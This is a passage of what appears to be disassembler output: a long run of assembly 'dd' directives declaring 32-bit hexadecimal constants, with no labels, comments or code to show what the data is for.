		dd 0EC3218BFh, 4604F9BCh, 0C85AAE01h, 6AD7BAC9h, 0C1CB19D8h
		dd 41AF7BB9h, 600FE937h, 2EE8EC39h, 86D42D4Ch, 72287814h
		dd 3C0748D5h, 0E8C43FCh, 29D591C1h, 87755601h, 0E5D842CBh
		dd 0F8F5E386h, 44D1D891h, 55908218h, 0DA984500h, 0F118DBB7h
		dd 1670F6BFh, 42CF11E9h, 40664798h, 0B5C9830Fh,	0C1848B7h
		dd 0C092FD10h, 7904347Ah, 0C0A8B990h, 0AE3492B4h, 3F0B750Bh
		dd 8C89D6Ah, 8D60E4CEh,	0E2D93119h, 5CAC021Ah, 0F6D59295h
		dd 2A00BC44h, 1F141711h, 9277EBDEh, 8E3E0084h, 0D92939A2h
		dd 8C90836Ah, 1EB53D20h, 602A2773h, 76151490h, 28DC6EEFh
		dd 5A1F2CF7h, 4CAEEB85h, 0FAC52285h, 2D2CBC03h,	0E4190617h
		dd 0B138B6C0h, 0DE67B3Ah, 68D22DC9h, 0CCA2CC23h, 3C02E833h
		dd 0CED41D2Ah, 4A3572Bh, 45B7A54h, 0F881EABCh, 0C077AA3Bh
		dd 560175B0h, 1323BA02h, 48C9190Bh, 0DF9170h, 0E351F352h
		dd 0DEBACB5Ch, 830629EEh, 9762C13Ah, 57790CD8h,	27903536h
		dd 1D58396Bh, 80479120h, 4F7908D5h, 505461E2h, 7311AC09h
		dd 30BCA200h, 9A003EA7h, 0F3D8B985h, 0D2CAE9F1h, 0D4D444B0h
		dd 2D5A01F5h, 6100D2EFh, 0B8BA812Ah, 60318090h,	0B8C0D148h
		dd 1DF0DC49h, 295246Ch,	0EDE806Ch, 0B4CC229Dh, 5DC29900h
		dd 0C83F457h, 78F87659h, 64764D7Dh, 84AD381Dh, 8EF62558h
		dd 0C00788A0h, 0A43780DCh, 19039530h, 56297Fh, 12BF3D2Eh
		dd 0D744CAAFh, 73938700h, 6DF4FBA1h, 0F12D013Bh, 6C58009h
		dd 0F2D0326Bh, 0D52C30D0h, 0C270F558h, 0CAF375h, 0E636AE0Dh
		dd 80DF6900h, 0A5B72698h, 73A30271h, 9DFE473Bh,	1893C861h
		dd 62109C9h, 509CBEB6h,	21C16A00h, 56538817h, 5BC4091Bh
		dd 0E46715CAh, 0BD610544h, 353620DFh, 71C60607h, 29C08F09h
		dd 981FF24h, 0C0F6B5ECh
		dd 2914708Ah, 0E508F0D8h, 51EC0186h, 0F9C139EAh, 0A048ACD0h
		dd 0E5082174h, 5A941082h, 3DA84496h, 0A840D64h,	0E4E33709h
		dd 3F609698h, 4DFF8A21h, 0A7AA0078h, 0C05C4625h, 6D3237FEh
		dd 4DF279F6h, 0CCD1E0A4h, 687FC319h, 5254214h, 323412A0h
		dd 8167A40Ch, 0E02F0C19h, 0FABEC123h, 449C0C90h, 1BD465Eh
		dd 0A6B87D6h, 19AECF6Ah, 2EF0574h, 4AC723Ah, 73347930h
		dd 2278460Fh, 91B3000Ah, 115ED134h, 980E3FF8h, 60D96063h
		dd 0A42F6E0Dh, 3BB30D2Ah, 0F479CE7Eh, 0DB093439h, 182E1777h
		dd 26224AA0h, 14D8BDh, 0ABE0B178h, 1603AA29h, 0F7CF93EEh
		dd 809CBC76h, 0A9FB6092h, 0ADC85E74h, 64F21700h, 0E74CC45Bh
		dd 0BD0D60Bh, 4C20818Ah, 47764F7Dh, 24875E82h, 330FC0ECh
		dd 0E4FF679h, 3FB4382Ch, 7B3307h, 87AD9DD1h, 975505C6h
		dd 0A1D83854h, 0CE47A517h, 0BAEBB506h, 53E90739h, 5E6A61C3h
		dd 0A6432B80h, 0F03F98Eh, 0EED582FBh, 40411435h, 129FEC7Fh
		dd 0DF80028h, 0B86CA241h, 0D448A491h, 0E4CE215Ch, 28592F80h
		dd 0A3008B0h, 199F77A5h, 0B13A40CCh, 6AFC74F6h,	5721BF1Eh
		dd 1947EC64h, 0AC81EE23h, 0A00E9499h, 3CC0C188h, 4FFF188Ch
		dd 76244563h, 3788A4E6h, 3428A351h, 48C9178h, 0B60C218Bh
		dd 204F628Eh, 1321C36Ch, 0AE7A5B07h, 0DB0B22Bh,	242D3F86h
		dd 1A0C647h, 763B2FC9h,	3AC1174Dh, 0F871BDDAh, 4288380Bh
		dd 0F8E302C0h, 0B90FC94h, 41E64779h, 0D491DC16h, 0A4184671h
		dd 104C385Ch, 290251DAh, 1259D433h, 0B059E0C2h,	0CB18B779h
		dd 391CC903h, 0F845FB8Dh, 14D48517h, 0C0D1A9E9h, 1180AC4Dh
		dd 6E0CF0C0h, 0A85D60Ch, 8C7DC803h, 10218F05h, 90386EB6h
		dd 21C700F8h, 905AE566h, 44B809ADh, 0F2EE1A44h,	4615383Bh
		dd 827825ACh, 81107B99h, 544E4C7h, 632EAE60h, 0FE0248C0h
		dd 127B5D88h, 263DD61Fh, 12158F8h, 4869693h, 0CE70790Ch
		dd 7EB80F70h, 62D4A034h, 137B12BDh, 64B939DDh, 0A734E698h
		dd 0FED861D0h, 0D41A2A0Ah, 339400D0h, 0C2553A90h, 79FAEF5Bh
		dd 1FB6B800h, 0D5FE999Dh, 7A4923Ch, 2D63046Fh, 0B00CFB0Eh
		dd 0C493C1D8h, 7B330507h, 50A2FEE4h, 33FDAEC0h,	8F001672h
		dd 0F174DB1Ah, 5AC5184h, 0A63EEF10h, 8B981634h,	0C5C3C8C8h
		dd 7A289903h, 3CAD32C3h, 0D92CABB9h, 64975AA0h,	0E80B911h
		dd 9FBEFA30h, 1082F00h,	0B6C024FBh, 2734A099h, 0C8606B72h
		dd 9C47AC9Ah, 18E50642h, 64139204h, 9830FB86h, 785C3CDFh
		dd 0D5F2CCAh, 0D09D69ACh, 0E680BE11h, 75B5FE50h, 0C00327h
		dd 0F2D8D44h, 349B0010h, 9535E1E8h, 0E1C2F2EEh,	65AADD23h
		dd 60C3C4C0h, 0AF1193Ah, 365C6BB2h, 0A81D4BCCh,	0EE890611h
		dd 3522B002h, 11449712h, 0D4C780CBh, 749D5AECh,	2B7602D8h
		dd 0BB2DB93Ah, 3E209472h, 0FCFF0054h, 5DC092C2h, 50286C7h
		dd 734B9003h, 44C44757h, 72F76008h, 0F1F60926h,	1010BA1Dh
		dd 79523BFFh, 904B32F4h, 0C114F8DBh, 2DBE6E20h,	82872D7h
		dd 91D48C98h, 330B80C7h, 8C2EF685h, 0B8CA44h, 0B2DE3303h
		dd 0A3C6BF24h, 53E5603h, 3C049377h, 0FE8043A9h,	99EA7F23h
		dd 0BC006B59h, 6E3C64A9h, 0D122862h, 0F5B3C096h, 99C060F9h
		dd 86D4BE07h, 84C1EAF4h, 8C6D2AC0h, 0D964FF1Bh,	30190EC1h
		dd 98BEFE68h, 30CBD40h,	43A200CDh, 18898DF7h, 0D92CB852h
		dd 24040891h, 3CCC0986h, 21F8CC2h, 0D2BF7C33h, 0FAAF8078h
		dd 38259D33h, 70037B83h, 0F0998C36h, 9C2F5888h,	22A00658h
		dd 3A155BB2h, 0A23E4h, 73047E5Ah, 57147956h, 78285EAAh
		dd 90362727h, 82E391BCh, 5B524C60h, 13D13A80h, 3BD53324h
		dd 1F0623F0h, 0C8F600D0h, 7088FB0Bh, 0E83C8758h, 0E443CEh
		dd 0C5E7B69Bh, 24B5AD78h, 0CB84308h, 0B9C13B42h, 12D4D920h
		dd 4B13EB29h, 141097E8h, 0F724710Eh, 0C464505Dh, 7A330460h
		dd 1106F623h, 0FCAD09C8h, 600B8033h, 747426B6h,	0EEC516E9h
		dd 426491F1h, 106C6DCDh, 0C012ADA8h, 192822B9h,	27F87CD8h
		dd 0F600E97Fh, 0C94D0B87h, 95414A49h, 0A927087h, 20E880A0h
		dd 9FB031E3h, 25AFC500h, 243FFEBh, 97ED1FECh, 4C71F1F2h
		dd 0EB23D274h, 7DB99323h, 7E6F2B9h, 95B66990h, 3596609Fh
		dd 3F049ECAh, 2BF2D50Bh, 43E230A3h, 1A88230h, 3BFBDDC8h
		dd 3995F32Fh, 0D2070018h, 6B77ADE2h, 139100D6h,	0F1F3FC02h
		dd 0D54F03F4h, 315F944Ch, 80389E92h, 0DA560DB4h, 0D700E6B9h
		dd 6DF8C287h, 39204931h, 8B05537Eh, 40C0959Dh, 3AB392ACh
		dd 4C98E209h, 0E365B400h, 83F8506Eh, 38B95038h,	810C99F1h
		dd 0EB1E4461h, 2494549Ah, 8804DA14h, 4957C008h,	0BF12FF9Dh
		dd 0A0098623h, 71E840FDh, 599E090Eh, 0B071D58Fh, 0DEC4ACh
		dd 4C2BE25Fh, 79EE3005h, 6E703F00h, 0DE2A8F3Bh,	10D4BC33h
		dd 0BB3DC418h, 0A2543329h, 6EB730C5h, 376D0E05h, 4C818B8Fh
		dd 0F010327Ah, 0B402F661h, 0D3E0790Ah, 58945314h, 5402E349h
		dd 0FF1DC963h, 9070444Ah, 62EBFEBCh, 0DA665134h, 5224CC0h
		dd 0A29901FFh, 0BBA23C73h, 1F3E0530h, 0C9C86298h, 8C792CC0h
		dd 3A922F04h, 191D9301h, 0EF398ED2h, 3135871Bh,	83C1C220h
		dd 0CE3E13A1h, 5C480069h, 683B4CF0h, 0C9F5FC05h, 0C006E23Dh
		dd 41CD19h, 0B432427Dh,	2C0813E3h, 0DE9CCE5Ch, 78100023h
		dd 56EB4B8Fh, 8D506896h, 7D783C08h, 9D29A900h, 0BED0E615h
		dd 0EBBFF502h, 0F9344928h, 184F7958h, 0A665009Bh, 1776E894h
		dd 0ED122A05h, 1C3AE01Ah, 1202C123h, 0FA1A255Eh, 16410070h
		dd 0A61C6058h, 0D30FBE92h, 0A0673C04h, 0DD981110h, 0D0179794h
		dd 0B8804F91h, 6727B517h, 8109DFE6h, 514A5F5Ah,	18BD791Ch
		dd 76F578DFh, 5E1D0325h, 6449C2C7h, 4BA8B0A4h, 0A468F182h
		dd 30FCDE1Ch, 0C6625525h, 2ACB0998h, 6C00D079h,	78EBF2DBh
		dd 0C484B8A9h, 0E093D7Fh, 74186Fh, 0DE26984Ch, 83AE39C0h
		dd 70E2B79Ch, 10D8C260h, 25443C48h, 0C4ECE5DCh,	6D0065C8h
		dd 22B347D5h, 90F4641Dh, 0FC30B8E5h, 57008C09h,	6FE5F3Ch
		dd 51BFDF35h, 0CC7C28B5h, 0F63A3920h, 0F41FCFE9h, 0C19E2101h
		dd 1085C665h, 0F272EC31h, 3043F204h, 551FD8D2h,	6584066Ch
		dd 50BC9A67h, 1A8C6804h, 8B9D5h, 87024879h, 1F8C119h, 0EDCD0CD1h
		dd 88693805h, 24B72A8h,	0EC4A6009h, 0A71F305Ah,	0DF9CB343h
		dd 306E9607h, 0EE9AFF11h, 14AC9D4h, 9468481Bh, 2CCA1109h
		dd 8CBABCFCh, 7ECDC700h, 0F051AE2Ah, 2C774C3Bh,	0E4F5D584h
		dd 0F912A634h, 40A0C25Fh, 18825C9Ch, 0FD21D530h, 7C0AC30Ah
		dd 2069110Eh, 0B2C08405h, 0EA4FC830h, 0D6E78361h, 0C80719F4h
		dd 31B80E7Ah, 0DC800F84h, 49CEE05h, 4136594Ch, 254CB991h
		dd 0ED7849E9h, 4D10B208h, 5C4C77D3h, 0D719850Ch, 2900D881h
		dd 0A64F5E1Bh, 1DE29FA7h, 85CBEFB8h, 0C2F6ED61h, 5CE7C01Ch
		dd 3F6045E4h, 0F107708Fh, 4B279C1Ch, 0C5FE75E1h, 4930603Eh
		dd 84E9D522h, 7990FC18h, 34B67CC4h, 64401BA2h, 0DB80CC3Dh
		dd 90964A21h, 163C74Ch,	18000AF6h, 0F8715893h, 9599A1h
		dd 83EF72C4h, 66AA7441h, 4030FA62h, 9947A78h, 0AE956549h
		dd 74636868h, 98E3C088h, 0A22F43FCh, 0C449314Eh, 0BC0911E2h
		dd 8A0C7637h, 620878DDh, 8282C41h, 0CC28B9DDh, 68BE82F0h
		dd 109465Eh, 8D7465B2h,	42E9F5C0h, 0B843FFCDh, 9FCBE15Ah
		dd 0F200042Ah
		dd 0A43CD231h, 90F9EA6Ah, 0CE7C6300h, 219D7C8h,	0F3B9B2Ch
		dd 9AC09A68h, 7B31E6D2h, 0BE41B024h, 8E277100h,	7F25309Ah
		dd 0C2D42433h, 10C83A56h, 72C7E4CCh, 42BAC0EBh,	110BA502h
		dd 8E5188F1h, 0E7CFCB04h, 610764F8h, 7B204C46h,	0EE710318h
		dd 1EEFA08Ah, 0DC3BC05Bh, 721DC823h, 0E4EDB89h,	0E2675E70h
		dd 973C66ACh, 0B8919C97h, 76295F80h, 70007AF1h,	0B325A03Eh
		dd 0A1CF7D3Ah, 5AF240DCh, 0EE840F80h, 0CE015C8Dh, 21549121h
		dd 0BCBC7C20h, 0E443CCh, 0EBE0B998h, 9A189D0h, 0E201C1D6h
		dd 5E21BC72h, 81E7BD4Ah, 80986AEBh, 0C84E50D8h,	7C093B0Dh
		dd 0A0709637h, 4827B470h, 0C40A0490h, 90514AC1h, 4FD9034Ch
		dd 0EC03254h, 0D271910h, 0D05FFF06h, 0EE0158ACh, 67F54D90h
		dd 0B1A72F19h, 17164E0h, 2065B480h, 4707C8F3h, 0C21B914Ah
		dd 9A3019F0h, 73402874h, 0B0944C1Ch, 24E2507Eh,	763B2838h
		dd 97E0208h, 0D3B8790Eh, 4E4498E7h, 59257F60h, 7D47A201h
		dd 61724283h, 5562870h,	0A1E596ACh, 0E2E0E3AAh,	18853048h
		dd 131EBD1Fh, 1F25D5DFh, 80BE1174h, 3B7EE5C2h, 0ACCE5373h
		dd 0C5DC5D08h, 0A83A3616h, 0C51DB823h, 3D1905C3h, 3B5E81EDh
		dd 0AA754AF8h, 0C3D802FCh, 6E0701BDh, 39798894h, 1AF101D0h
		dd 2315ECE9h, 30CBA264h, 283F4948h, 0DFBB0280h,	0DA7F16AAh
		dd 0D4E404A4h, 0D7D685E9h, 0FC3FE060h, 0F417D2B6h, 1C9BF676h
		dd 1D6AD380h, 0DA010537h, 4FF95410h, 322F4A2Eh,	0F2028FCh
		dd 59A3755Eh, 0EE00D86Fh, 0EBB6588h, 9A952DC2h,	563C76C8h
		dd 0C900BB46h, 0AC0C499Dh, 209526EEh, 972DB214h, 16C4B1B9h
		dd 1700E4E1h, 30D10C4h,	0CC7BD91Eh, 2761D03Ah, 0E8C0B1C0h
		dd 3E69E3B2h, 1F307972h, 6AB7F419h, 85B0BCABh, 3325EAA4h
		dd 0E2AC20ECh, 2E259228h, 61486BF7h, 0FC2644E1h, 1D3BC5B9h
		dd 16EE81B7h, 15116543h, 0DAC502Dh, 0A5E5B000h,	1E5949A6h
		dd 655F0C3Ch, 0A9F0C44Fh, 5095350Ch, 2D2580DEh,	78452E49h
		dd 536048E4h, 6616E070h, 1CA4960Fh, 0B2E073Ch, 73D60222h
		dd 0FDE827BAh, 59040166h, 0E50395C2h, 8020CF00h, 0B5FE3AA8h
		dd 833B4F00h, 38F244D7h, 4B430001h, 7B0DF146h, 30BE7E27h
		dd 0D3A4922Dh, 180B7B58h, 0ED4C9404h, 7D6AC050h, 87B72A4Fh
		dd 919C9658h, 0CD7F46h,	0B3AFB1CAh, 54388B95h, 0C4FAFF01h
		dd 713B9ED5h, 7AF26982h, 0E45BBB07h, 5CBC2170h,	11223823h
		dd 0D41648D3h, 0CE10003Ah, 40E9CEE4h, 0F8530A5Ah, 381F00A4h
		dd 0A9816398h, 0F216575Bh, 1C032007h, 10CF322Ch, 0D66D78h
		dd 0FA664982h, 91CD47FFh, 0F09614E4h, 0E0BB5680h, 4B051872h
		dd 16CD276Ah, 5FBE56C0h, 2C27E46h, 820DEA74h, 0CCF2D5h
		dd 912A4916h, 10AC80F1h, 0B7467418h, 0D9E4AE00h, 2E7E7A6Ah
		dd 0DEFF9409h, 7A95h, 17D2D27h,	39C1F919h, 1C885E4Fh, 41820749h
		dd 0B08BC7Ch, 0CC3268Eh, 3DB21F7Bh, 0FF8B68F3h,	0C090924Ch
		dd 0BC3AE9CCh, 3C35EB6Ch, 2514DE80h, 122CC1CDh,	587705Fh
		dd 0E754B684h, 0C49B4E48h, 83002D8Fh, 6B4D5DA6h, 0B0C9D4Ch
		dd 0C532E3EBh, 0A1098B6Ch, 0C564BCE7h, 0ABCE5160h, 29D12B05h
		dd 0F00BC47Ch, 11DCA469h, 0B88298A3h, 5E12E381h, 4F1ED494h
		dd 754A4A2h, 468E10DCh,	41D13C04h, 7D2F0BAAh, 64040801h
		dd 0E0D8EA94h, 0BCB795h, 5133F64h, 0FB063C46h, 61B9BFF9h
		dd 7AD89BB1h, 508F8A87h, 9C819DEDh, 0E145C8B8h,	4A530F8h
		dd 9E592773h, 0B140A4D4h, 7D04148Bh, 920BB0F7h,	4CFE44Ch
		dd 7D551B40h, 40CD48F9h, 532D210h, 4F379A3Ch, 0C0C54012h
		dd 0CBE82CE8h, 2123008Ch, 7D795340h, 0B4908074h, 4CC5A801h
		dd 9B194290h, 88E4D9A7h, 5FF7AA00h, 0D5E8092Ah,	4CD8FC0Dh
		dd 2068541Eh, 49467CE4h, 327C2E7Fh, 0BA900440h,	57E48574h
		dd 0C050DB18h, 75DC7B6Eh, 0CD4BB6h, 70C171D4h, 0E47DEFB0h
		dd 0B8A8AA48h, 27008CC7h, 99D4A8C6h, 0BC22C011h, 742826CCh
		dd 80E4CB21h, 139E79EDh, 1C122941h, 0C893B8Dh, 0CB738400h
		dd 0B7C02C30h, 0A0D94BBCh, 25026E11h, 0D7411F09h, 0B3A58C60h
		dd 58B6E8D7h, 22CB24E0h, 0E440964Fh, 0E8AE0447h, 6EDA03C9h
		dd 54FED331h, 0FA5822h,	0D165E7D6h, 7E730CCDh, 674FA0BCh
		dd 59606269h, 7D4ED83Dh, 0E6BE0EF0h, 0B1002802h, 820B3183h
		dd 0A1896300h, 95E7992Eh, 0FFE14045h, 80386248h, 274D5601h
		dd 59498C1h, 41F13C86h,	6A8F9CDh, 0BF51E9F6h, 74182510h
		dd 0C6E418E5h, 79A07163h, 8B2C0D2Fh, 0D4037E18h, 1073162Bh
		dd 13C41970h, 54B55FD9h, 6380007Bh, 4B7FB198h, 0CC99B95Eh
		dd 9E20C32h, 717CF30h, 7A736C18h, 7BC38E49h, 0F6F22DE6h
		dd 3ADC8CDEh, 0FFA6880h, 62CE02B8h, 88726345h, 400B2E98h
		dd 0C4A5840Fh, 0D4B8B4C8h, 6BF1DF00h, 65BFBC34h, 0A99F4027h
		dd 2AB5873Ch, 9418DCAFh, 8A393B96h, 6A296F5Bh, 0C5F301D2h
		dd 0C8AEFC33h, 0F505F273h, 21E5D64Eh, 2BD750BCh, 4F2390h
		dd 1D5CF86Ah, 9F091679h, 0EDAB1E80h, 60BA4484h,	146A699h
		dd 0CAA2BED7h, 7F2375B5h, 7D223842h, 12E8F2E0h,	0C1312AB1h
		dd 2CA2996Ch, 8CCFBCE4h, 6079132Fh, 0B93AD5D0h,	0E4971F0Ch
		dd 0BB467408h, 0DE8DAA00h, 30034F94h, 5834DA00h, 0D5916EA9h
		dd 964872F4h, 0C93F88D0h, 0BC39293Eh, 48091912h, 657C09BFh
		dd 60BDE4F0h, 0B5780FAh, 0CE17FB05h, 0BE05CC3h,	8D026398h
		dd 0DD8D335h, 4398540Ch, 0F900C0ECh, 0B4539203h, 5D699Eh
		dd 0FC243E6Ch, 90E88674h, 0C8809890h, 0B8D7CEE7h, 0D2B068B7h
		dd 8C01EB18h, 0C9203A11h, 207D48B0h, 0D3D90FC0h, 0F700F3AAh
		dd 32EFA435h, 20E4391h,	3F79EBB8h, 541A4712h, 3606DC5Ch
		dd 0B6AC865h, 0B5D12D1Ch, 0E3C18000h, 0CE483542h, 0CA101238h
		dd 6E0F20A2h, 65E0ECD2h, 0BFFCDBAEh, 0E8D9B22Eh, 4D042F80h
		dd 0A21C0668h, 79F8F918h, 5818CCh, 0D1DE2916h, 0D5A40A06h
		dd 0ECD0F74Fh, 0C0C81AFAh, 6E827CC9h, 0F638D088h, 50E70157h
		dd 1085F11Fh, 0AC3B307Ch, 884EFF0Ch, 0FD1D3061h, 18C09EC7h
		dd 0C19DFB7Eh, 0F8B26269h, 80C92328h, 0AC3E3E32h, 8E00D023h
		dd 0C1F1F5DCh, 9C1697AAh, 40904D95h, 1ABFA782h,	4A69D360h
		dd 1CEC03DEh, 0CF744994h, 5801636h, 3913F1DBh, 2E10A018h
		dd 0B993EE2h, 0B94A4C07h, 4090CD8h, 0F8161F7Bh,	779C2450h
		dd 0CB467464h, 10BF3A00h, 0C9B86ED2h, 0F2DA307h, 0CCC35EF8h
		dd 5232C297h, 83FB74F8h, 44DE7810h, 0E8409615h,	0D532B405h
		dd 8168EC3Bh, 4BC96B7Dh, 4ABF3400h, 279D0D7Eh, 6222874h
		dd 4428C7BEh, 1CF6046h,	0DD24257Bh, 0C7719C59h,	2701BE18h
		dd 0F5FCE37Dh, 12B1DD1h, 3C6E9230h, 0E2CC20A3h,	0FC0E02F1h
		dd 2A6A79B8h, 4623403Eh, 0EFE52B00h, 97398E4Eh,	0C291C49Dh
		dd 0AB500F82h, 65DCB255h, 60CFC458h, 9C96E050h,	873080BCh
		dd 93EFA053h, 6E9BBB14h, 548217F8h, 922DD0E7h, 3B750480h
		dd 4912E3C0h, 0CCAD3F83h, 0AA2CBDB8h, 467418DEh, 122F3BD0h
		dd 8C49DD42h, 9FF04892h, 4FC70916h, 55007E5Ah, 6ECB75DDh
		dd 95EF1F50h, 84907898h, 4DCD096h, 0CF4B8358h, 0F418870Ah
		dd 0B9C0044Ah, 89F9CACh, 0E125A6Ah, 83BD34E0h, 9613A90h
		dd 0ACDBC65Fh, 0DAB7BFC0h, 0BD00EC98h, 5D62967Bh, 0CAD3737Dh
		dd 0C2448460h, 0F6004932h, 0BFBA11E9h, 44D2AC23h, 0C82FA14Ah
		dd 5D0A4421h
		dd 4000B7B0h, 0B9D15341h, 0FA7D79h, 5F7DE2DEh, 753A6BF2h
		dd 0CA733207h, 104C895Ch, 0FF0B0368h, 9E2F0FCBh, 9300783h
		dd 2348219Bh, 0E9C401FFh, 0E04F8D7h, 8818805Dh,	76B2ECD8h
		dd 5E3C0854h, 0F981738Ch, 6FB0C539h, 0D2531180h, 7DDA6041h
		dd 0F28C2019h, 21804D09h, 4F41CA33h, 6F00938Bh,	0EF4DE13h
		dd 0B95D65h, 0F5D52855h, 3DDA5802h, 0CFC02164h,	0D8FF0860h
		dd 11070F23h, 20490061h, 78920CFFh, 949300BEh, 0E37FE26Eh
		dd 153096FDh, 88DFB08Eh, 1623A22h, 5F80386Fh, 547FD0B0h
		dd 0F43E4F0Ch, 0C111084Ch, 0B0573421h, 9018DBB3h, 0C619FC61h
		dd 519F00B5h, 0AA07EF64h, 4530FB21h, 0BCD6686Ah, 50C0393Ch
		dd 601E70E4h, 23D4B023h, 1911347Fh, 0B05BC000h,	48B6AF1h
		dd 89FEBE70h, 0FB18F47Fh, 0F0608F41h, 900265F9h, 69060CDh
		dd 0F10DAFFh, 0A2DC9DF7h, 0FF1E4B07h, 0E3F01298h, 0AC7AEF7h
		dd 5F0A05DCh, 0B8648ED0h, 8F5C89F8h, 0CE5E39C0h, 177DE11h
		dd 0DB85C1C4h, 8002B863h, 7DFB7C29h, 58E1A40h, 8189DC23h
		dd 0C9E022D9h, 11FF0A30h, 88170FCEh, 2247809Fh,	56A2B9FFh
		dd 26827A01h, 8F45B8FDh, 7CB30230h, 29B07A3h, 0E93CB611h
		dd 74E01C03h, 3A54A5F0h, 1053D234h, 8C763C2Eh, 0E746F503h
		dd 0E0B8AD8Ah, 5387D70Ch, 11B2E054h, 0B7CE033h,	0D88A506Eh
		dd 12A200B5h, 9B0559C5h, 1B0C1BAh, 90E60F1Dh, 513BC831h
		dd 80D3B891h, 0FD4FF14h, 0D89D48E7h, 400C4DB1h,	0BC741298h
		dd 58981F2Bh, 6054578h,	0C36067FDh, 5D601890h, 0F2237521h
		dd 68464824h, 21C020C8h, 437FD6B0h, 59368024h, 1E2528B0h
		dd 40521261h, 0F71CE282h, 0D13E0CDEh, 0F4F20694h, 30C08B56h
		dd 0A388D45h, 3849EB0Eh, 79FB014Ch, 0B4CD611h, 45F49840h
		dd 0C5AA026Dh, 3972A9F7h, 0C4464864h, 5F41D102h, 4631C5DAh
		dd 41C93210h, 17F19A1Ch, 7F0BC840h, 0EECE5BFh, 0EE955986h
		dd 47C8740Dh, 3E7B932Ch, 9A003878h, 0C107C9D9h,	336F6CD8h
		dd 8D08C0B9h, 0D17F3100h, 90FA0C9h, 852924FBh, 0A02C04h
		dd 0F4D826DAh, 0F0C063FAh, 3387C3F6h, 738E0716h, 4956808Bh
		dd 18CCE091h, 0D9FF1C15h, 2C9DD20Fh, 0D7D4EA0h,	3A74100h
		dd 0FCC07ADAh, 0AF6E0906h, 0D89F39D3h, 3B804611h, 43F9A24Bh
		dd 1711C100h, 83032B5Eh, 646C48A1h, 6FB18735h, 253C02BCh
		dd 48056164h, 9D1718h, 0C0C2FE56h, 374ECD01h, 86575C3Ah
		dd 2F60A47Ch, 0B423429h, 629C13A2h, 0D030C748h,	0DA221141h
		dd 805E88CDh, 3441C831h, 94E28B21h, 0A92849C3h,	42FBE825h
		dd 0A61307F7h, 59D7E02Ch, 88E401Ah, 0C9D58071h,	87F8C113h
		dd 0C9CD8300h, 107F5719h, 666B213h, 86759EF2h, 0FB890C78h
		dd 0FD188B3Dh, 18400548h, 366138F3h, 6EC92472h,	0C7A1110h
		dd 2143E595h, 0E3BB1307h, 85900170h, 27ACCDh, 9E4FBh, 2884D9C4h
		dd 58D788C2h, 0E2C82302h, 0D88A8211h, 9C0E019Ah, 84D20941h
		dd 2944E487h, 606140C5h, 0B0A5E84Ah, 0DB80D291h, 0B5DA2541h
		dd 1C4C448Ch, 0BE41D300h, 0AE60D272h, 74A81502h, 0DB809C5Bh
		dd 0E8C115C9h, 7D97448Ch, 3C9D300h, 0D6E62FA4h,	5DD21C93h
		dd 2EE78067h, 955559B5h, 0E251AD07h, 0AE34DFC5h, 808F0885h
		dd 35C76488h, 0EFD097F7h, 0F4459E1h, 0EA7D0786h, 6FBB6E1h
		dd 0A2D43341h, 54C8339Fh, 920B6D13h, 10BD63D9h,	0DE140AA0h
		dd 61B20E29h, 0ECAE1102h, 0C2DCE0A4h, 0BC97F873h, 17804991h
		dd 0D4796F29h, 29B60E3Bh, 4D7124E0h, 0CD0CB318h, 0A9905F53h
		dd 1D4007AEh, 705AA078h, 0C12284FCh, 646C180Bh,	0C70C10BCh
		dd 3B1304BFh, 845DA7B3h, 769C3A4Ch, 122A008Ch, 0B5F75F2Bh
		dd 271F5361h, 0C3537437h, 483BA013h, 2B011823h,	1C670887h
		dd 3D26F220h, 58B0BDC8h, 626812F9h, 0C289900h, 43A3DCBFh
		dd 83110BE3h, 4820A4DBh, 0FCBE7178h, 645C0540h,	60C8E0E4h
		dd 10CDFF09h, 0C89E1F0Fh, 214A8062h, 6A640DFFh,	40D1CB00h
		dd 0BC5FFAE6h, 608A019Fh, 7AF57037h, 7EE8829Ch,	0E04401C3h
		dd 13D927B4h, 404D0905h, 6706FD10h, 77702EC6h, 4BECC4A0h
		dd 377928BBh, 32158F30h, 0AF78909Fh, 1100A844h,	819BFBB0h
		dd 0EEB76521h, 2C58F06Eh, 3F790EB1h, 458C5913h,	2E563260h
		dd 3D9C2340h, 7CA67785h, 67AC0028h, 0E4C68F4Ch,	61F1D0Bh
		dd 32455D58h, 0FF6115C4h, 7AAD7AB1h, 3AE1C00h, 8B11DBF9h
		dd 2E15B510h, 0C7815F01h, 20ECDCE2h, 0F0CD83Bh,	36016388h
		dd 4DBF0966h, 0E2FFB929h, 22DBDFDFh, 3E05558h, 0BD89D477h
		dd 7A160E9Dh, 0CBEFC183h, 0CB19C8ECh, 6C0D2B00h, 891857B8h
		dd 0F5CF919Dh, 3517B83Bh, 0ABC30286h, 67B070E6h, 0DD000A99h
		dd 0CDA7A149h, 1BE789Eh, 2B55ABFh, 7BD98C66h, 3AACE5EDh
		dd 3C93EB01h, 74DBD8Bh,	0C1F6B680h, 97840F04h, 81662DC0h
		dd 0B55128DFh, 0EE80095Ch, 262ACC21h, 0D3711CCEh, 95FF83FAh
		dd 46583175h, 15AD18B9h, 2DFC5B0Ch, 0B57FC32Bh,	306D8767h
		dd 51D7031Bh, 20E99ECEh, 1F443D1Ah, 0F0FAF066h,	38086834h
		dd 23391CB9h, 0AB2FD8h,	0AC598889h, 1CD304Fh, 9D0376B7h
		dd 89153h, 0D0C45233h, 0BA04096h, 0C08B5F80h, 0D9A94855h
		dd 0FBB40022h, 6E1F889Fh, 0C3728B25h, 0BC36D849h, 92DA001Ch
		dd 0C735BEACh, 2A44D185h, 7F5D2F4Fh, 8081B55Dh,	99279492h
		dd 0D10B754Ah, 55F7B70Fh, 0BB2C6B68h, 736CCE02h, 0F7DDCCE2h
		dd 0DF3E00F8h, 6556AE54h, 0E6BAF8B5h, 31B6B198h, 56AF0CCh
		dd 818988D9h, 0BEA5C2E7h, 19BDC8E0h, 9DE42C6Fh,	0C05E18Ch
		dd 1C029AD0h, 3823850Fh, 4B6EEE5Eh, 0FF980305h,	942D1D85h
		dd 0F44306B5h, 41290F1Fh, 1325D5F3h, 45762060h,	0B96E1D41h
		dd 2E4AC54h, 609C52DBh,	0C8908A0Fh, 0BC014E8h, 2D5A2E42h
		dd 73960095h, 0BE57558Ch, 0CF7679CEh, 5B008878h, 525E9B9Ch
		dd 6F25B533h, 61058E10h, 4A6BE90h, 0CA8F57B0h, 586A3902h
		dd 4810BC4Eh, 1896F5FEh, 2F028D0Fh, 1390F38Bh, 89BE94E7h
		dd 0C0BFC70Ch, 6B618DA2h, 1E33A584h, 0FC2FCFEh,	0BE660012h
		dd 0DB90CC59h, 2F90144h, 2A84F681h, 39CD6E6Bh, 57891FE0h
